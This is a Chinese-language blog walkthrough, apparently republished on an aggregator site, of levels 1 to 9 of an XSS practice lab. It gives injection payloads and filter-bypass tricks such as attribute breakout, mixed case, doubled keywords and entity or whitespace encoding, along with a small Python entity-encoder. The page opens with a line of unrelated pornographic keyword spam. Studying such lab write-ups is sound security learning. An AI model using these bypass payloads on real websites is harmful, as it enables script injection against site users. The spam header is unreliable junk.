日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XSS挑战之旅(1-9)

發布時間:2023/12/14 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XSS挑战之旅(1-9) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

  • 環境搭建
  • 第一關
  • 第二關
  • 第三關
  • 第四關
  • 第五關
  • 第六關
  • 第七關
  • 第八關
  • 第九關

環境搭建

XSSlab的搭建很簡單,下載好壓縮包,解壓到phpstudy的WWW目錄下即可訪問。
源碼下載(t8t7)

如果不想自己搭建的話,網上有很多搭建好的可以直接測試,比如:
https://xss.angelo.org.cn

前幾關還是比較水的,直接把做題過程記錄下來好了。。。


第一關


如圖所示,第一關展示的是我們可以通過url中的?name參數,向網站提交數據,然后返回到頁面上。

那么直接試一下把name的值提交成彈框。

level1.php?name=<script>alert(1)</script>

成功通關!!!


第二關


第二關是可以在輸入框中輸入一個數據提交給服務器,然后提交的數據是會被顯示到頁面上的。

此時再使用第一關的payload已經是不行了。看一下源碼:

在這里,提交的scirpt被當作頁面的內容和value的值處理了,因此沒有形成html結構被瀏覽器執行。

這里有兩種通關思路:

  • 嘗試一下閉合value,然后構造一個script標簽進去。
    在輸入框中輸入以下代碼:

    "><script>alert(1)</script><"

    這樣,原本的頁面結構就會變成

    <input name=keyword value=""><script>alert(1)</script><"">

    從而再瀏覽器加載的時候執行彈窗。

  • 也可構造一個點擊事件:

    " οnclick="alert(1)

    這樣頁面結構同樣會改動

    <input name=keyword value="" onclick="alert(1)">

    依舊可以實現彈框。


  • 第三關

    先輸入一個<script>alert(1)</script>看看效果,

    通過源碼可以看到,輸入的<被html實體代替了,因此不會被當作頁面結構處理。但是可以通過閉合的方式構造點擊事件。

    payload:

    ' οnclick='alert(1)

    第四關

    第四關是過濾掉了尖括號,無法構造新的標簽。但是依然可以原本的標簽中添加onclick屬性。

    " οnclick="alert(1)

    第五關

    上來就是一個" onclick="alert(1)輸進去,看看效果,發現沒有彈框,看源碼!!

    這里的onclick被改成了o_nclick。。。。
    那么網站可能是會自動識別onclick這個字眼;輸入"><script>alert(1)</script><"時,結果是script被改為了scr_ipt。

    遇到這種檢測機制,首先想到的就是大小寫繞過,試一了一下,發現不可以。

    既然無法新增script標簽和為已有標簽增添事件。那么可以嘗試一下html的其他標簽–a標簽。

    "> <a href=javascript:alert(1)><"

    將以上內容輸入以后,會得到下圖效果

    點一下就會彈框通關。


    第六關

    這一關和之前的第五關一樣,會識別onclick,href等關鍵字,然后進行改寫。
    但是這一關可以使用大小寫混寫繞過。

    " OnClick="alert(1)

    或者添加一個a標簽(仍需要混寫href繞過檢測)

    "> <a hRef=javascript:alert(1)>

    第七關

    第七關會對一些關鍵字進行識別,然后刪除,比如<a href>會被改成<a>。
    對于這種防御機制,常用的方法就是雙寫繞過。
    比如網站會識別script,我們就將其構造成scscriptript提交,通過網站的刪除后,就會變成script;從而達到注入效果。

    這一關會刪除on,那么我們用如下方法繞過:

    " oonnclick="alert(1)

    或者雙寫a標簽中的href通關

    "><a hrhrefef=javascripscriptt:alert(1)>

    或者雙寫構造新的script通關。

    "><scscriptript>alert(1)</scriscriptpt>

    第八關

    輸入" onclick="alert(1)測試并查看源代碼。

    可以看到,這里的引號被實體代替了。因此無法使用引號構造閉合,但是網頁提供了a標簽,并且輸入的內容會被賦值給a標簽的href屬性,那么我們可以在href中插入javascript:alert(1)實現彈框。

    直接輸入javascript:alert(1)發現script會被識別改寫,并且大小寫繞過也不行。

    那么可以使用單詞中間摻雜空白字符的方法,妨礙后端識別指定單詞。

    符號URL編碼
    制表%09
    換行%0a
    退格%08

    注:摻雜以上url編碼的payload要提交到瀏覽器的地址欄才能生效。

    level8.php?keyword=javascr%09ipt%3Aalert(1)&submit=添加友情鏈接

    還有一種方法可以使用提交框進行注入:&#x9
    把&#x9插入到關鍵字之中,如下:

    javascr&#x9ipt:alert(1)

    發現網上還有一種解決方案:
    利用HTML實體編號進行繞過。
    可以將javascript:alert(1)編碼成
    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41
    這樣后端php不會對其進行改寫,但是用戶瀏覽器會將這些編碼進行翻譯,從而轉換為javascript:alert(1)彈框。

    這里是大佬寫的函數(本人稍作修改):

    def unicodeHtml(orgCode):fin = ';'.join('&#{}'.format(ord(x)) for x in orgCode)return fin

    第九關

    這一關和地八關的防護機制基本相同,思路同樣是在a標簽的href中進行注入。但是,此處對于href又添加了一個檢測機制。

    我們還拿上一關的javascr&#x9ipt:alert(1)檢測發現,頁面會提示我們輸入的鏈接不合法。

    這是因為后臺會檢測是否有http://字段,但是如果把http://和javascr&#x9ipt:alert(1)直接構造在一起,彈框就無效了。因此需要把http://注釋掉,這樣后臺依然能夠檢測到http://而又不會影響javascr&#x9ipt:alert(1)的彈框。

    javascr&#x9ipt:alert(1) // http://

    總結

    以上是生活随笔為你收集整理的XSS挑战之旅(1-9)的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。